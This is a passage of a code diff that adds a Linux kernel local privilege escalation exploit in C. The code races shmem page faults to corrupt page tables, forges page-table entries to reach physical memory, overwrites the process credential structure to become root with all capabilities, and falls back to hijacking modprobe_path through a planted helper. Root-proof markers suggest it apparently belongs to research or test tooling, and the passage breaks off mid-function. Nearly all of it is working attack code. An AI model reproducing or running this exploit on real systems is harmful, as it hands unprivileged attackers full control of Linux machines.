== MAP_FAILED) { + munmap(reservation, 2 * PMD_SIZE); + return -1; + } + for (i = 0; i < PMD_SIZE; i += PAGE_SIZE) + mapping[i] = (unsigned char)(i / PAGE_SIZE); + errno = 0; + rc = madvise(mapping, PMD_SIZE, MADV_COLLAPSE); + if (rc != 0) + fprintf(stderr, "MADV_COLLAPSE errno=%d (%s)\n", errno, strerror(errno)); + munmap(reservation, 2 * PMD_SIZE); + return rc; +} + +static unsigned char *prepare_order0_shmem_folio(int fd, + void **reservation_out) +{ + void *reservation; + uintptr_t aligned; + unsigned char *mapping; + unsigned long i; + + reservation = mmap(NULL, 2 * PMD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (reservation == MAP_FAILED) + return MAP_FAILED; + aligned = ((uintptr_t)reservation + PMD_SIZE - 1) & ~(PMD_SIZE - 1); + mapping = mmap((void *)aligned, PMD_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, fd, + (off_t)(RACE_FILE_BASE_PGOFF * PAGE_SIZE)); + if (mapping == MAP_FAILED) { + munmap(reservation, 2 * PMD_SIZE); + return MAP_FAILED; + } + if (madvise(mapping, PMD_SIZE, MADV_NOHUGEPAGE) != 0) { + munmap(reservation, 2 * PMD_SIZE); + return MAP_FAILED; + } + for (i = 0; i < PMD_SIZE; i += PAGE_SIZE) + mapping[i] = (unsigned char)(i / PAGE_SIZE); + if (madvise(mapping, PMD_SIZE, MADV_HUGEPAGE) != 0) { + munmap(reservation, 2 * PMD_SIZE); + return MAP_FAILED; + } + *reservation_out = reservation; + return mapping; +} + +static void fill_fake_ptes(uint64_t *alias, uint64_t base_pfn, uint64_t stride) +{ + unsigned long i; + unsigned long entries = FAKE_PT_PAGES * (PAGE_SIZE / sizeof(uint64_t)); + + for (i = 0; i < entries; i++) + alias[i] = ((base_pfn + i * stride) << 12) | USER_PTE_FLAGS; + atomic_thread_fence(memory_order_seq_cst); +} + +static int remap_physical_window(uint64_t *alias, char *tlb_flush_pad, + unsigned long base_pfn, + unsigned int epoch) +{ + fill_fake_ptes(alias, base_pfn, 1); + if (mprotect(tlb_flush_pad, TLB_FLUSH_PAGES * PAGE_SIZE, + (epoch & 1U) == 0 ? PROT_READ : + PROT_READ | PROT_WRITE) != 0) + return -1; + return 0; +} + +static int prepare_modprobe_helper(void) +{ + char target[64]; + struct stat st; + + if (snprintf(target, sizeof(target), "/proc/%ld/exe", + (long)getpid()) >= (int)sizeof(target)) + return -1; + for (unsigned int attempt = 0; attempt < 256; attempt++) { + unsigned int suffix = ((unsigned int)getpid() + attempt) & 0xffU; + + if (snprintf(modprobe_helper_path, + sizeof(modprobe_helper_path), "/tmp/x%02x", + suffix) >= (int)sizeof(modprobe_helper_path) || + snprintf(modprobe_marker_path, + sizeof(modprobe_marker_path), "%s.marker", + modprobe_helper_path) >= + (int)sizeof(modprobe_marker_path)) + return -1; + if (lstat(modprobe_helper_path, &st) == 0 || errno != ENOENT) + continue; + if (lstat(modprobe_marker_path, &st) == 0 || errno != ENOENT) + continue; + if (symlink(target, modprobe_helper_path) == 0) { + printf("MODPROBE_HELPER_PREPARED path=%s target=%s marker=%s\n", + modprobe_helper_path, target, + modprobe_marker_path); + fflush(stdout); + return 0; + } + } + modprobe_helper_path[0] = '\0'; + modprobe_marker_path[0] = '\0'; + return -1; +} + +static void cleanup_modprobe_helper(void) +{ + if (modprobe_helper_path[0] == '\0') + return; + if (unlink(modprobe_helper_path) == 0) + printf("MODPROBE_HELPER_CLEANUP path=%s removed=1\n", + modprobe_helper_path); + else + printf("MODPROBE_HELPER_CLEANUP path=%s removed=0 errno=%d\n", + modprobe_helper_path, errno); + fflush(stdout); + modprobe_helper_path[0] = '\0'; +} + +static int create_root_marker(void) +{ + static const char payload[] = POST_ROOT_TEXT; + int fd = open(modprobe_marker_path, + O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW, + 0400); + + if (fd < 0) + return -1; + if (fchown(fd, 0, 0) != 0 || fchmod(fd, 0400) != 0 || + write(fd, payload, sizeof(payload) - 1) != + (ssize_t)(sizeof(payload) - 1)) { + close(fd); + return -1; + } + return close(fd); +} + +static int root_marker_exists(void) +{ + struct stat st = { 0 }; + + return lstat(modprobe_marker_path, &st) == 0 && + st.st_uid == 0 && st.st_gid == 0 && + (st.st_mode & 07777) == 0400; +} + +static int trigger_modprobe(void) +{ + static const unsigned char unknown_format[] = { 0xff, 0xff, 0xff, 0xff }; + pid_t child; + int fd; + int status = 0; + + fd = open(MODPROBE_TRIGGER_PATH, + O_WRONLY | O_CREAT | O_TRUNC | O_CLOEXEC | O_NOFOLLOW, 0700); + if (fd < 0) + return -1; + if (fchmod(fd, 0700) != 0 || + write(fd, unknown_format, sizeof(unknown_format)) != + (ssize_t)sizeof(unknown_format) || + close(fd) != 0) + return -1; + + child = fork(); + if (child == 0) { + execl(MODPROBE_TRIGGER_PATH, MODPROBE_TRIGGER_PATH, NULL); + _exit(errno == ENOEXEC ? 0 : 126); + } + if (child < 0 || waitpid(child, &status, 0) < 0) + return -1; + (void)unlink(MODPROBE_TRIGGER_PATH); + if (!root_marker_exists()) + return -1; + printf("MODPROBE_ROOT_MARKER uid=0 gid=0 mode=0400 child_status=%d\n", + WIFEXITED(status) ? WEXITSTATUS(status) : -1); + fflush(stdout); + return 0; +} + +static int patch_modprobe_path(uintptr_t fake_base, + unsigned long mapped_bytes, + unsigned long base_pfn) +{ + static const unsigned char original[] = MODPROBE_PATH_ORIGINAL; + unsigned char replacement[sizeof(original)] = { 0 }; + const unsigned long pages = mapped_bytes / PAGE_SIZE; + unsigned long candidates = 0; + + if (modprobe_helper_path[0] == '\0') + return -1; + memcpy(replacement, modprobe_helper_path, + strlen(modprobe_helper_path)); + for (unsigned long page = 0; page < pages; page++) { + volatile unsigned char *page_base = + (volatile unsigned char *)fake_base + page * PAGE_SIZE; + unsigned char probe; + + if (safe_read(page_base, &probe) != 0) + continue; + for (unsigned long offset = 0; + offset + sizeof(original) <= PAGE_SIZE; + offset++) { + unsigned char saved[sizeof(original)]; + volatile unsigned char *candidate = page_base + offset; + + if (memcmp((const void *)candidate, original, + sizeof(original)) != 0) + continue; + candidates++; + for (unsigned long i = 0; i < sizeof(saved); i++) { + saved[i] = candidate[i]; + candidate[i] = replacement[i]; + } + atomic_thread_fence(memory_order_seq_cst); + printf("MODPROBE_PATH_CANDIDATE pfn=%#lx page_offset=%#lx candidate=%lu\n", + base_pfn + page, offset, candidates); + fflush(stdout); + { + int trigger_rc = trigger_modprobe(); + + for (unsigned long i = 0; i < sizeof(saved); i++) + candidate[i] = saved[i]; + atomic_thread_fence(memory_order_seq_cst); + if (trigger_rc == 0) { + printf("MODPROBE_PATH_PATCH selected=1 restored=1 pfn=%#lx page_offset=%#lx replacement=%s\n", + base_pfn + page, offset, + modprobe_helper_path); + fflush(stdout); + return 0; + } + } + } + } + printf("MODPROBE_PATH_SCAN base_pfn=%#lx bytes=%lu candidates=%lu selected=0\n", + base_pfn, mapped_bytes, candidates); + fflush(stdout); + return -1; +} + + +static void *reserve_layout(uintptr_t *root_out) +{ + static const uintptr_t roots[] = { + 0x400000000000ULL, 0x3f8000000000ULL, + 0x300000000000ULL, 0x200000000000ULL + }; + unsigned int i; + + for (i = 0; i < sizeof(roots) / sizeof(roots[0]); i++) { + void *p = mmap((void *)roots[i], 2 * PUD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED_NOREPLACE, + -1, 0); + if (p != MAP_FAILED) { + *root_out = roots[i]; + return p; + } + } + return MAP_FAILED; +} + +static int touch_file_byte(const char *p) +{ + char byte; + return pread(sink_fd, &byte, 1, 0) == 1 && pwrite(sink_fd, p, 1, 0) == 1 ? 0 : -1; +} + + + +static int patch_current_credentials(uintptr_t fake_base, + unsigned long mapped_bytes, + unsigned long base_pfn) +{ + const uint64_t pair0 = ((uint64_t)target_rgid << 32) | target_ruid; + const uint64_t pair1 = ((uint64_t)target_sgid << 32) | target_suid; + const uint64_t pair2 = ((uint64_t)target_egid << 32) | target_euid; + const unsigned long pages = mapped_bytes / PAGE_SIZE; + const unsigned long words_per_page = PAGE_SIZE / sizeof(uint64_t); + unsigned long candidates = 0; + unsigned long id_matches = 0; + + for (unsigned long page = 0; page < pages; page++) { + volatile unsigned char *page_base = + (volatile unsigned char *)fake_base + page * PAGE_SIZE; + volatile uint64_t *words = (volatile uint64_t *)page_base; + unsigned char probe; + + if (safe_read(page_base, &probe) != 0) + continue; + for (unsigned long i = 1; i + 9 < words_per_page; i++) { + volatile unsigned char *cred; + uint32_t saved_ids[8]; + uint64_t saved_permitted, saved_effective; + unsigned long usage; + + if (words[i] != pair0 || words[i + 1] != pair1 || + words[i + 2] != pair2 || words[i + 3] != pair2) + continue; + id_matches++; + usage = words[i - 1]; + if (usage == 0 || usage > 0x100000 || + words[i + 4] != 0 || words[i + 5] != 0 || + words[i + 6] != 0 || words[i + 7] != 0) + continue; + + candidates++; + printf("CRED_CANDIDATE pfn=%#lx page_offset=%#lx usage=%lu bset=%#llx ambient=%#llx\n", + base_pfn + page, + (unsigned long)((i * sizeof(*words) - 8) & + (PAGE_SIZE - 1)), + usage, (unsigned long long)words[i + 8], + (unsigned long long)words[i + 9]); + cred = (volatile unsigned char *)&words[i] - 8; + for (unsigned int id = 0; id < 8; id++) + saved_ids[id] = *(volatile uint32_t *) + (cred + 8 + id * sizeof(uint32_t)); + saved_permitted = *(volatile uint64_t *)(cred + 56); + saved_effective = *(volatile uint64_t *)(cred + 64); + for (unsigned int id = 0; id < 8; id++) + *(volatile uint32_t *) + (cred + 8 + id * sizeof(uint32_t)) = 0; + *(volatile uint32_t *)(cred + 40) = 0; + *(volatile uint64_t *)(cred + 56) = CAP_VALID_MASK_7_1; + *(volatile uint64_t *)(cred + 64) = CAP_VALID_MASK_7_1; + atomic_thread_fence(memory_order_seq_cst); + + if (getuid() == 0 && geteuid() == 0) { + printf("CRED_SCAN base_pfn=%#lx bytes=%lu id_matches=%lu candidates=%lu selected=1\n", + base_pfn, mapped_bytes, id_matches, candidates); + printf("CRED_PATCH pfn=%#lx page_offset=%#lx permitted=%#llx effective=%#llx\n", + base_pfn + page, + (unsigned long)((i * sizeof(*words) - 8) & + (PAGE_SIZE - 1)), + (unsigned long long)CAP_VALID_MASK_7_1, + (unsigned long long)CAP_VALID_MASK_7_1); + fflush(stdout); + return 0; + } + + for (unsigned int id = 0; id < 8; id++) + *(volatile uint32_t *) + (cred + 8 + id * sizeof(uint32_t)) = + saved_ids[id]; + *(volatile uint64_t *)(cred + 56) = saved_permitted; + *(volatile uint64_t *)(cred + 64) = saved_effective; + atomic_thread_fence(memory_order_seq_cst); + } + } + + printf("CRED_SCAN base_pfn=%#lx bytes=%lu id_matches=%lu candidates=%lu selected=0\n", + base_pfn, mapped_bytes, id_matches, candidates); + fflush(stdout); + return -1; +} + +static int prove_root_identity(void) +{ + struct __user_cap_header_struct hdr = { + .version = _LINUX_CAPABILITY_VERSION_3, + .pid = 0, + }; + struct __user_cap_data_struct caps[2] = { 0 }; + uid_t ruid, euid, suid; + gid_t rgid, egid, sgid; + char proof[64] = { 0 }; + uint64_t effective; + int fd; + ssize_t n; + int cap_rc; + + getresuid(&ruid, &euid, &suid); + getresgid(&rgid, &egid, &sgid); + cap_rc = (int)syscall(SYS_capget, &hdr, caps); + effective = ((uint64_t)caps[1].effective << 32) | caps[0].effective; + fd = open(ROOT_PROOF_PATH, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + n = fd >= 0 ? read(fd, proof, sizeof(proof) - 1) : -1; + if (fd >= 0) + close(fd); + printf("ROOT_IDENTITY uid=%u euid=%u suid=%u gid=%u egid=%u sgid=%u capget_rc=%d cap_effective=%#llx\n", + ruid, euid, suid, rgid, egid, sgid, cap_rc, + (unsigned long long)effective); + printf("ROOT_PROOF required=%d open=%d read=%ld data=%.*s\n", + root_proof_required, fd >= 0, (long)n, + n > 0 ? (int)n : 0, proof); + fflush(stdout); + return ruid == 0 && euid == 0 && suid == 0 && + rgid == 0 && egid == 0 && sgid == 0 && + cap_rc == 0 && + (effective & ROOT_REQUIRED_CAPS) == ROOT_REQUIRED_CAPS && + (!root_proof_required || + (n == (ssize_t)strlen(ROOT_PROOF_TEXT) && + memcmp(proof, ROOT_PROOF_TEXT, strlen(ROOT_PROOF_TEXT)) == 0)) ? + 0 : -1; +} + +static int prove_post_root_create(void) +{ + static const char payload[] = POST_ROOT_TEXT; + char observed[64] = { 0 }; + struct stat st = { 0 }; + int fd; + ssize_t n; + + fd = open(post_root_path, + O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW, 0400); + if (fd < 0) { + printf("POST_ROOT_CREATE path=%s created=0 errno=%d (%s)\n", + post_root_path, errno, strerror(errno)); + return -1; + } + if (fchown(fd, 0, 0) != 0 || fchmod(fd, 0400) != 0 || + write(fd, payload, sizeof(payload) - 1) != + (ssize_t)(sizeof(payload) - 1)) { + close(fd); + return -1; + } + if (close(fd) != 0) + return -1; + + fd = open(post_root_path, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + n = fd >= 0 ? read(fd, observed, sizeof(observed) - 1) : -1; + if (fd >= 0) + close(fd); + if (lstat(post_root_path, &st) != 0) + return -1; + printf("POST_ROOT_CREATE path=%s created=1 uid=%u gid=%u mode=%#o read=%ld data=%.*s\n", + post_root_path, st.st_uid, st.st_gid, st.st_mode & 07777, + (long)n, n > 0 ? (int)n : 0, observed); + fflush(stdout); + return st.st_uid == 0 && st.st_gid == 0 && + (st.st_mode & 07777) == 0400 && + n == (ssize_t)strlen(POST_ROOT_TEXT) && + memcmp(observed, POST_ROOT_TEXT, strlen(POST_ROOT_TEXT)) == 0 ? + 0 : -1; +} + +static int run_exploit(int rounds) +{ + pthread_t threads[FAULT_THREADS]; + pthread_t membarrier_threads[RACE_MEMBARRIER_WORKERS > 0 ? + RACE_MEMBARRIER_WORKERS : 1]; + uintptr_t root; + uintptr_t candidate_roots[2], source_bases[2], fake_bases[2]; + void *layout; + char *dummies[2]; + char *marker, *tlb_flush_pad; + cpu_set_t groom_saved_set; + int groom_cpu = -1; + int groom_fd = -1; + int i; + int success = 0; + int winning_fd = -1; + uint64_t *winning_alias = MAP_FAILED; + unsigned long mapped_bytes = 0; + uintptr_t winning_fake_base = 0; + unsigned long winning_pmds = 0; + char *winning_source = MAP_FAILED; + unsigned long mutation_failures = 0; + struct sigaction sa = { .sa_handler = fault_signal }; + + if (getresuid(&target_ruid, &target_euid, &target_suid) != 0 || + getresgid(&target_rgid, &target_egid, &target_sgid) != 0) { + perror("capture identity"); + return 2; + } + if (target_ruid == 0 || target_euid == 0 || target_suid == 0 || + target_rgid == 0 || target_egid == 0 || target_sgid == 0) { + fprintf(stderr, "EXPLOIT_REFUSED privileged initial identity\n"); + return 2; + } + (void)prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); + (void)prctl(PR_SET_DUMPABLE, 1, 0, 0, 0); + (void)prctl(PR_SET_NAME, "xarr-lpe-main", 0, 0, 0); + printf("EXPLOIT_IDENTITY uid=%u euid=%u suid=%u gid=%u egid=%u sgid=%u nnp=%d\n", + target_ruid, target_euid, target_suid, + target_rgid, target_egid, target_sgid, + prctl(PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0)); + fflush(stdout); + { + struct __user_cap_header_struct hdr = { + .version = _LINUX_CAPABILITY_VERSION_3, + .pid = 0, + }; + struct __user_cap_data_struct caps[2] = { 0 }; + int rc = (int)syscall(SYS_capget, &hdr, caps); + uint64_t effective = ((uint64_t)caps[1].effective << 32) | + caps[0].effective; + + printf("EXPLOIT_CAPS capget_rc=%d effective=%#llx\n", rc, + (unsigned long long)effective); + fflush(stdout); + } + { + int fd; + int saved_errno; + + errno = 0; + fd = open(ROOT_PROOF_PATH, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + saved_errno = errno; + root_proof_required = + getenv("XARR_REQUIRE_ROOT_PROOF") != NULL; + printf("PRE_ROOT_PROOF required=%d open=%d errno=%d (%s)\n", + root_proof_required, fd >= 0, saved_errno, + strerror(saved_errno)); + fflush(stdout); + if (fd >= 0) { + close(fd); + return 2; + } + } + + memset(&sa.sa_mask, 0, sizeof(sa.sa_mask)); + sa.sa_flags = SA_NODEFER; + sigaction(SIGSEGV, &sa, NULL); + sigaction(SIGBUS, &sa, NULL); + + sink_fd = (int)syscall(SYS_memfd_create, "xarray-sink", MFD_CLOEXEC); + groom_fd = (int)syscall(SYS_memfd_create, "xarray-groom", MFD_CLOEXEC); + if (sink_fd < 0 || groom_fd < 0 || ftruncate(sink_fd, PAGE_SIZE) != 0 || + ftruncate(groom_fd, PAGE_SIZE) != 0) { + perror("prepare grooming files"); + return 2; + } + if (pwrite(groom_fd, "G", 1, 0) != 1) { + perror("populate grooming file"); + return 2; + } + + marker = mmap(NULL, MARKER_PAGES * PAGE_SIZE, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (marker == MAP_FAILED) { + perror("marker mmap"); + return 2; + } + (void)madvise(marker, MARKER_PAGES * PAGE_SIZE, MADV_NOHUGEPAGE); + for (unsigned long page = 0; page < MARKER_PAGES; page++) { + unsigned char *p = (unsigned char *)marker + page * PAGE_SIZE; + memcpy(p, MARKER_MAGIC, sizeof(MARKER_MAGIC)); + memcpy(p + 32, &page, sizeof(page)); + p[128] = (unsigned char)(page ^ 0x5a); + } + printf("MARKER_SPRAY pages=%lu bytes=%lu\n", MARKER_PAGES, + MARKER_PAGES * PAGE_SIZE); + tlb_flush_pad = mmap(NULL, TLB_FLUSH_PAGES * PAGE_SIZE, + PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (tlb_flush_pad == MAP_FAILED) { + perror("tlb flush pad mmap"); + return 2; + } + (void)madvise(tlb_flush_pad, TLB_FLUSH_PAGES * PAGE_SIZE, + MADV_NOHUGEPAGE); + for (unsigned long page = 0; page < TLB_FLUSH_PAGES; page++) + tlb_flush_pad[page * PAGE_SIZE] = 0; + if ((RACE_MEMBARRIER_SHOTS > 0 || RACE_MEMBARRIER_WORKERS > 0) && + syscall(SYS_membarrier, + MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED, 0, 0) != 0) { + perror("register private expedited membarrier"); + return 2; + } + + if (RACE_PIN_WORKERS) { + cpu_set_t set; + + CPU_ZERO(&set); + CPU_SET(0, &set); + if (sched_setaffinity(0, sizeof(set), &set) != 0) { + perror("pin race coordinator"); + return 2; + } + } + layout = reserve_layout(&root); + if (layout == MAP_FAILED) { + perror("reserve fixed layout"); + return 2; + } + candidate_roots[0] = root; + candidate_roots[1] = root + PUD_SIZE; + source_bases[0] = candidate_roots[0] + SOURCE_ENTRY * PMD_SIZE; + source_bases[1] = candidate_roots[1]; + fake_bases[0] = candidate_roots[0] + CORRUPT_FIRST_PMD * PMD_SIZE; + fake_bases[1] = candidate_roots[1] + CORRUPT_FIRST_PMD * PMD_SIZE; + + /* + * Install every VMA before the allocation-sensitive page-table + * sequence. Candidate 0 is raced. If order-0 page-table allocations + * ascend, its PTE page follows its own PMD page. If they descend, the + * subsequently allocated candidate-1 PMD page precedes candidate 0's + * PTE page. Scanning both PUDs therefore covers either allocator + * direction without privileged PFN knowledge. + */ + for (unsigned int candidate = 0; candidate < 2; candidate++) { + dummies[candidate] = mmap( + (void *)(source_bases[candidate] + PMD_SIZE - PAGE_SIZE), + PAGE_SIZE, PROT_READ, MAP_SHARED | MAP_FIXED, groom_fd, 0); + if (dummies[candidate] == MAP_FAILED || + mmap((void *)fake_bases[candidate], FAKE_WINDOW_SIZE, + PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, + -1, 0) == MAP_FAILED) { + perror("install fixed candidate VMAs"); + return 2; + } + } + + /* + * Keep both page-table faults on one allowed CPU so their order-0 + * allocations come from one per-CPU page list. + */ + if (sched_getaffinity(0, sizeof(groom_saved_set), + &groom_saved_set) != 0) { + perror("read groom affinity"); + return 2; + } + groom_cpu = sched_getcpu(); + if (groom_cpu < 0 || !CPU_ISSET(groom_cpu, &groom_saved_set)) { + for (int cpu = 0; cpu < CPU_SETSIZE; cpu++) { + if (CPU_ISSET(cpu, &groom_saved_set)) { + groom_cpu = cpu; + break; + } + } + } + if (groom_cpu < 0) { + fprintf(stderr, "no allowed groom CPU\n"); + return 2; + } + { + cpu_set_t groom_single_set; + + CPU_ZERO(&groom_single_set); + CPU_SET(groom_cpu, &groom_single_set); + if (sched_setaffinity(0, sizeof(groom_single_set), + &groom_single_set) != 0) { + perror("pin page-table groom"); + return 2; + } + } + for (unsigned int candidate = 0; candidate < 2; candidate++) { + if (touch_file_byte(dummies[candidate]) != 0) { + (void)sched_setaffinity(0, sizeof(groom_saved_set), + &groom_saved_set); + perror("fault candidate grooming mapping"); + return 2; + } + } + if (sched_setaffinity(0, sizeof(groom_saved_set), + &groom_saved_set) != 0) { + perror("restore groom affinity"); + return 2; + } + printf("PAGETABLE_GROOM root=%#lx cpu=%d candidate0_source=%#lx candidate0_fake=%#lx candidate1_source=%#lx candidate1_fake=%#lx\n", + (unsigned long)root, groom_cpu, + (unsigned long)source_bases[0], + (unsigned long)fake_bases[0], (unsigned long)source_bases[1], + (unsigned long)fake_bases[1]); + fflush(stdout); + + for (unsigned int candidate = 0; candidate < 2; candidate++) { + unsigned char resident = 0xff; + int pre_rc = mincore((void *)fake_bases[candidate], PAGE_SIZE, + &resident); + + printf("FAKE_WINDOW_PRECONDITION candidate=%u mincore_rc=%d resident=%u\n", + candidate, pre_rc, resident & 1); + if (pre_rc != 0 || (resident & 1) != 0) + return 2; + } + + atomic_store(&run_state, 0); + atomic_store(&active_workers, 0); + atomic_store(&fault_callers, 0); + atomic_store(&fault_release, 0); + for (i = 0; i < FAULT_THREADS; i++) { + if (pthread_create(&threads[i], NULL, fault_worker, + (void *)(uintptr_t)i) != 0) { + perror("pthread_create"); + return 2; + } + } + atomic_store(&membarrier_calls, 0); + for (i = 0; i < RACE_MEMBARRIER_WORKERS; i++) { + if (pthread_create(&membarrier_threads[i], NULL, + membarrier_worker, NULL) != 0) { + perror("pthread_create membarrier"); + return 2; + } + } + + for (i = 0; i < rounds; i++) { + int fd; + char *source; + char *sources[RACE_SOURCE_VIEWS]; + uint64_t *alias; + unsigned char *whole = MAP_FAILED; + void *whole_reservation = MAP_FAILED; + volatile unsigned int delay; + const unsigned int candidate = RACE_LAYOUT_CANDIDATE; + const uintptr_t race_source_base = source_bases[candidate]; + int mutation_ready = 1; + + fd = (int)syscall(SYS_memfd_create, "xarray-race", + MFD_CLOEXEC | MFD_EXEC); + if (fd < 0 || + ftruncate(fd, (off_t)((RACE_FILE_BASE_PGOFF + 512UL) * + PAGE_SIZE)) != 0) { + perror("prepare race file"); + return 3; + } + if (RACE_MUTATION_MODE == 3) { + whole = prepare_order0_shmem_folio(fd, + &whole_reservation); + if (whole == MAP_FAILED) { + perror("prepare order-0 race folio"); + return 3; + } + } else if (prepare_large_shmem_folio(fd) != 0) { + perror("prepare race folio"); + return 3; + } + for (unsigned int view = 0; view < RACE_SOURCE_VIEWS; view++) { + sources[view] = mmap( + (void *)(race_source_base + view * SOURCE_SIZE), + SOURCE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_SHARED | MAP_FIXED, fd, + (RACE_FILE_BASE_PGOFF + SOURCE_PGOFF + + view * SOURCE_SIZE / PAGE_SIZE) * PAGE_SIZE); + if (sources[view] == MAP_FAILED) { + perror("map source race view"); + return 2; + } + } + source = sources[0]; + alias = mmap(NULL, FAKE_ALIAS_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED, fd, + (off_t)((RACE_FILE_BASE_PGOFF + 64UL) * + PAGE_SIZE)); + if (alias == MAP_FAILED) { + perror("map fake-PTE alias"); + return 2; + } + /* + * Populate every candidate page-table page. Vendor kernels can + * expose a different backward XArray span, so fixed probe slots + * would miss an otherwise usable page-table installation. + */ + fill_fake_ptes(alias, PHYS_BASE_PFN, 1); + + for (unsigned int view = 0; view < RACE_SOURCE_VIEWS; view++) + atomic_store_explicit(&fault_addrs[view], sources[view], + memory_order_release); + if (STARTUP_WAIT_ALL_WORKERS) + atomic_store_explicit(&fault_release, 0, + memory_order_release); + atomic_store_explicit(&run_state, 1, memory_order_release); + if (STARTUP_WAIT_ACTIVE) { + if (STARTUP_WAIT_ALL_WORKERS) { + while (atomic_load_explicit( + &active_workers, + memory_order_acquire) != + FAULT_THREADS) + sched_yield(); + atomic_store_explicit(&fault_release, 1, + memory_order_release); + } + while (atomic_load_explicit(&fault_callers, + memory_order_acquire) == 0) + sched_yield(); + } + for (delay = 0; + delay < ((unsigned int)i % DELAY_PERIOD) * DELAY_STEP; + delay++) + __asm__ __volatile__("" ::: "memory"); +#if RACE_MEMBARRIER_SHOTS > 0 + for (unsigned int shot = 0; + shot < RACE_MEMBARRIER_SHOTS; shot++) + (void)syscall(SYS_membarrier, + MEMBARRIER_CMD_PRIVATE_EXPEDITED, 0, 0); +#endif + if (RACE_MUTATION_MODE == 2) { + const unsigned long minimum_local_pages = + SOURCE_PGOFF + SOURCE_SIZE / PAGE_SIZE; + const unsigned long new_pages = + RACE_FILE_BASE_PGOFF + minimum_local_pages + + (unsigned long)i % + (512UL - minimum_local_pages); + + if (ftruncate(fd, (off_t)(new_pages * PAGE_SIZE)) != 0 || + ftruncate(fd, + (off_t)((RACE_FILE_BASE_PGOFF + 512UL) * + PAGE_SIZE)) != 0) { + mutation_ready = 0; + mutation_failures++; + } + } else if (RACE_MUTATION_MODE == 3) { + mutation_ready = 0; + for (unsigned int attempt = 0; + attempt < RACE_COLLAPSE_ATTEMPTS; attempt++) { + if (madvise(whole, PMD_SIZE, MADV_COLLAPSE) == 0) { + mutation_ready = 1; + break; + } + if (errno != EAGAIN && errno != EBUSY) + break; + sched_yield(); + } + if (!mutation_ready) + mutation_failures++; + } + if (mutation_ready && RACE_MUTATION_MODE != 2) + (void)fallocate(fd, + FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_KEEP_SIZE, + (off_t)(RACE_FILE_BASE_PGOFF * PAGE_SIZE), + PAGE_SIZE); + atomic_store_explicit(&run_state, 0, memory_order_release); + while (atomic_load_explicit(&active_workers, memory_order_acquire) != 0) + sched_yield(); + if (mprotect(tlb_flush_pad, TLB_FLUSH_PAGES * PAGE_SIZE, + (i & 1) != 0 ? + PROT_READ | PROT_WRITE : PROT_READ) != 0) { + perror("tlb flush mprotect"); + return 2; + } + if (whole_reservation != MAP_FAILED) + munmap(whole_reservation, 2 * PMD_SIZE); + + for (unsigned int target_candidate = 0; + target_candidate < 2 && !success; + target_candidate++) { + const uintptr_t target_root = + candidate_roots[target_candidate]; + const unsigned long target_source_first_pmd = + (source_bases[target_candidate] - target_root) / + PMD_SIZE; + const unsigned long target_source_pmds = + (RACE_SOURCE_VIEWS * SOURCE_SIZE + + PMD_SIZE - 1) / PMD_SIZE; + unsigned long first_present = PUD_PMD_SLOTS; + unsigned long last_present = 0; + unsigned long present_pmds = 0; + unsigned long best_first = PUD_PMD_SLOTS; + unsigned long best_len = 0; + unsigned long run_first = 0; + unsigned long run_len = 0; + + for (unsigned long pmd = 0; pmd < PUD_PMD_SLOTS; + pmd++) { + unsigned char probe = 0; + + if (pmd >= target_source_first_pmd && + pmd < target_source_first_pmd + + target_source_pmds) { + run_len = 0; + continue; + } + if (safe_read( + (const volatile unsigned char *) + (target_root + pmd * PMD_SIZE), + &probe) != 0) { + run_len = 0; + continue; + } + if (first_present == PUD_PMD_SLOTS) + first_present = pmd; + last_present = pmd; + present_pmds++; + if (run_len == 0) + run_first = pmd; + run_len++; + if (run_len > best_len) { + best_first = run_first; + best_len = run_len; + } + } + if (present_pmds == 0) + continue; + if (best_len > FAKE_PT_PAGES) + best_len = FAKE_PT_PAGES; + success = 1; + winning_fd = fd; + winning_alias = alias; + winning_source = source; + winning_fake_base = + target_root + best_first * PMD_SIZE; + winning_pmds = best_len; + printf("PAGE_TABLE_PRIMITIVE round=%d race_candidate=%u target_candidate=%u present_pmds=%lu first_layout_pmd=%lu last_layout_pmd=%lu selected_first_pmd=%lu mapped_pmds=%lu scanned_pmds=%lu\n", + i, candidate, target_candidate, present_pmds, + first_present, last_present, best_first, + winning_pmds, PUD_PMD_SLOTS); + fflush(stdout); + } + if (success) + break; + for (unsigned int view = 0; view < RACE_SOURCE_VIEWS; view++) + munmap(sources[view], SOURCE_SIZE); + munmap(alias, FAKE_ALIAS_SIZE); + close(fd); + if ((i % 100) == 0) { + printf("RACE_PROGRESS round=%d active=%d mutation_failures=%lu\n", + i, atomic_load(&active_workers), mutation_failures); + fflush(stdout); + } + } + + atomic_store_explicit(&run_state, 2, memory_order_release); + for (i = 0; i < FAULT_THREADS; i++) + pthread_join(threads[i], NULL); + for (i = 0; i < RACE_MEMBARRIER_WORKERS; i++) + pthread_join(membarrier_threads[i], NULL); + printf("MEMBARRIER_CALLS count=%lu\n", + atomic_load_explicit(&membarrier_calls, memory_order_relaxed)); + if (!success) { + printf("PRIMITIVE_NOT_OBSERVED rounds=%d\n", rounds); + return 4; + } + if (preserve_corrupted_mm() < 0) { + perror("preserve corrupted mm"); + printf("MM_HOLDER_FAILED action=process_retained\n"); + fflush(stdout); + for (;;) + pause(); + } + + /* Only PMD spans observed as present are scanned below. Holes remain + * inaccessible and are skipped through the guarded access helpers. */ + fill_fake_ptes(winning_alias, PHYS_BASE_PFN, 1); + { + unsigned long entries; + unsigned long marker_matches = 0; + unsigned long stale_matches = 0; + unsigned long found_i = (unsigned long)-1; + 